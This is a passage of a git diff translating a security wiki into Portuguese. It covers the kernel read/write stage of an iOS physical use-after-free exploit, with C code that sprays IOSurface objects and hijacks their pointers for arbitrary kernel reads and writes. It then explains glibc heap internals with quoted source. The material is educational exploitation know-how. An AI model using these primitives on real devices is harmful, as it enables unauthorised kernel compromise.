Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico"). +2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada. +3. **Ler/Escrever na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles: +* Use um campo para **ler qualquer valor de 32 bits** na memória do kernel. +* Use outro campo para **gravar valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável. +Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +Procure por **`IOSurface`** objetos em uma página física liberada: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### Conseguindo Leitura/Escrita no Kernel com IOSurface -### Achieving Kernel Read/Write with IOSurface +Após conseguir controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível a partir do espaço do usuário), podemos usá-lo para **operações de leitura e escrita arbitrárias no kernel**. -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**Campos Chave em IOSurface** -**Key Fields in IOSurface** +O objeto IOSurface possui dois campos cruciais: -The IOSurface object has two crucial fields: +1. **Ponteiro de Contagem de Uso**: Permite uma **leitura de 32 bits**. +2. **Ponteiro de Timestamp Indexado**: Permite uma **escrita de 64 bits**. -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +Ao sobrescrever esses ponteiros, redirecionamos eles para endereços arbitrários na memória do kernel, habilitando capacidades de leitura/escrita. -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### Leitura de 32 Bits no Kernel -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +Para realizar uma leitura: +1. Sobrescreva o **ponteiro de contagem de uso** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes. +2. Use o método `get_use_count` para ler o valor naquele endereço. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` +#### Escrita no Kernel de 64 Bits -#### 64-Bit Kernel Write - -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +Para realizar uma escrita: +1. Sobrescreva o **ponteiro de timestamp indexado** para o endereço alvo. +2. Use o método `set_indexed_timestamp` para escrever um valor de 64 bits. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### Recapitulação do Fluxo de Exploit -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **Acionar Uso-Físico Após Liberação**: Páginas liberadas estão disponíveis para reutilização. +2. **Spray Objetos IOSurface**: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel. +3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla. +4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface. +Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** controladas na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos). diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..f6a1ee962 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -2,196 +2,189 @@ ## Heap Basics -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +O heap é basicamente o lugar onde um programa pode armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**. -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +Como mostrado, está logo após onde o binário está sendo carregado na memória (ver a seção `[heap]`):
### Basic Chunk Allocation -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de metadados do chunk são usadas para saber onde cada chunk usado/livre está. -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +Existem diferentes maneiras de reservar o espaço, dependendo principalmente do bin utilizado, mas uma metodologia geral é a seguinte: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- O programa começa solicitando uma certa quantidade de memória. +- Se na lista de chunks houver alguém disponível grande o suficiente para atender à solicitação, ele será usado. +- Isso pode até significar que parte do chunk disponível será usada para essa solicitação e o restante será adicionado à lista de chunks. +- Se não houver nenhum chunk disponível na lista, mas ainda houver espaço na memória heap alocada, o gerenciador de heap cria um novo chunk. +- Se não houver espaço suficiente no heap para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk. +- Se tudo falhar, `malloc` retorna nulo. -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será usado para mapear a memória solicitada. ## Arenas -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +Em aplicações **multithreaded**, o gerenciador de heap deve prevenir **condições de corrida** que poderiam levar a falhas. Inicialmente, isso era feito usando um **mutex global** para garantir que apenas um thread pudesse acessar o heap por vez, mas isso causou **problemas de desempenho** devido ao gargalo induzido pelo mutex. -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações de heap sem interferir uns nos outros, desde que usem arenas diferentes. -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +A arena "principal" padrão lida com operações de heap para aplicações de thread único. Quando **novos threads** são adicionados, o gerenciador de heap os atribui **arenas secundárias** para reduzir a contenção. Ele primeiro tenta anexar cada novo thread a uma arena não utilizada, criando novas se necessário, até um limite de 2 vezes o número de núcleos de CPU para sistemas de 32 bits e 8 vezes para sistemas de 64 bits. Uma vez que o limite é alcançado, **threads devem compartilhar arenas**, levando a uma potencial contenção. -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +Diferente da arena principal, que se expande usando a chamada de sistema `brk`, as arenas secundárias criam "subheaps" usando `mmap` e `mprotect` para simular o comportamento do heap, permitindo flexibilidade na gestão de memória para operações multithreaded. ### Subheaps -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +Subheaps servem como reservas de memória para arenas secundárias em aplicações multithreaded, permitindo que elas cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Aqui está como os subheaps diferem do heap inicial e como operam: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **Heap Inicial vs. Subheaps**: +- O heap inicial está localizado diretamente após o binário do programa na memória, e se expande usando a chamada de sistema `sbrk`. +- Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada. +2. **Reserva de Memória com `mmap`**: +- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos ou alocações do sistema não devem usar. +- Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits. +3. **Expansão Gradual com `mprotect`**: +- A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda. +- Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário. +- Uma vez que todo o subheap é esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação. ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +Esta struct aloca informações relevantes do heap. Além disso, a memória do heap pode não ser contínua após mais alocações, esta struct também armazenará essa informação. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\ +É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\ +No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**. -There some interesting things to note from this structure (see C code below): +Há algumas coisas interessantes a notar a partir desta estrutura (veja o código C abaixo): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time +- `__libc_lock_define (, mutex);` Está lá para garantir que esta estrutura do heap seja acessada por 1 thread de cada vez - Flags: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- O `mchunkptr bins[NBINS * 2 - 2];` contém **ponteiros** para os **primeiros e últimos chunks** dos **bins** pequenos, grandes e não ordenados (o -2 é porque o índice 0 não é usado) +- Portanto, o **primeiro chunk** desses bins terá um **ponteiro reverso para esta estrutura** e o **último chunk** desses bins terá um **ponteiro para frente** para esta estrutura. O que basicamente significa que se você puder **vazar esses endereços na arena principal**, você terá um ponteiro para a estrutura na **libc**. +- As structs `struct malloc_state *next;` e `struct malloc_state *next_free;` são listas encadeadas de arenas +- O chunk `top` é o último "chunk", que é basicamente **todo o espaço restante do heap**. Uma vez que o chunk top está "vazio", o heap está completamente utilizado e precisa solicitar mais espaço. +- O chunk `last reminder` vem de casos onde um chunk de tamanho exato não está disponível e, portanto, um chunk maior é dividido, uma parte do ponteiro restante é colocada aqui. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 - 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +Esta estrutura representa um determinado bloco de memória. Os vários campos têm significados diferentes para blocos alocados e não alocados. ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +Como comentado anteriormente, esses chunks também têm alguns metadados, muito bem representados nesta imagem:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +Os metadados geralmente são 0x08B, indicando o tamanho atual do chunk usando os últimos 3 bits para indicar: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`: Se 1, vem de um subheap; se 0, está na arena principal +- `M`: Se 1, este chunk é parte de um espaço alocado com mmap e não parte de um heap +- `P`: Se 1, o chunk anterior está em uso -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +Então, o espaço para os dados do usuário, e finalmente 0x08B para indicar o tamanho do chunk anterior quando o chunk está disponível (ou para armazenar dados do usuário quando está alocado). -Moreover, when available, the user data is used to contain also some data: +Além disso, quando disponível, os dados do usuário também são usados para conter alguns dados: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**: Ponteiro para o próximo chunk +- **`bk`**: Ponteiro para o chunk anterior +- **`fd_nextsize`**: Ponteiro para o primeiro chunk na lista que é menor que ele mesmo +- **`bk_nextsize`:** Ponteiro para o primeiro chunk na lista que é maior que ele mesmo

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk individual está sendo registrado. -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### Ponteiros de Chunk +Quando malloc é usado, um ponteiro para o conteúdo que pode ser escrito é retornado (logo após os cabeçalhos), no entanto, ao gerenciar chunks, é necessário um ponteiro para o início dos cabeçalhos (metadados).\ +Para essas conversões, essas funções são usadas: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` +### Alinhamento e tamanho mínimo -### Alignment & min size - -The pointer to the chunk and `0x0f` must be 0. - +O ponteiro para o chunk e `0x0f` devem ser 0. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +Observe que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário. -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### Obter dados do Chunk e alterar metadados -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +Essas funções funcionam recebendo um ponteiro para um chunk e são úteis para verificar/configurar metadados: +- Verificar flags do chunk ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- Tamanhos e ponteiros para outros chunks ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this 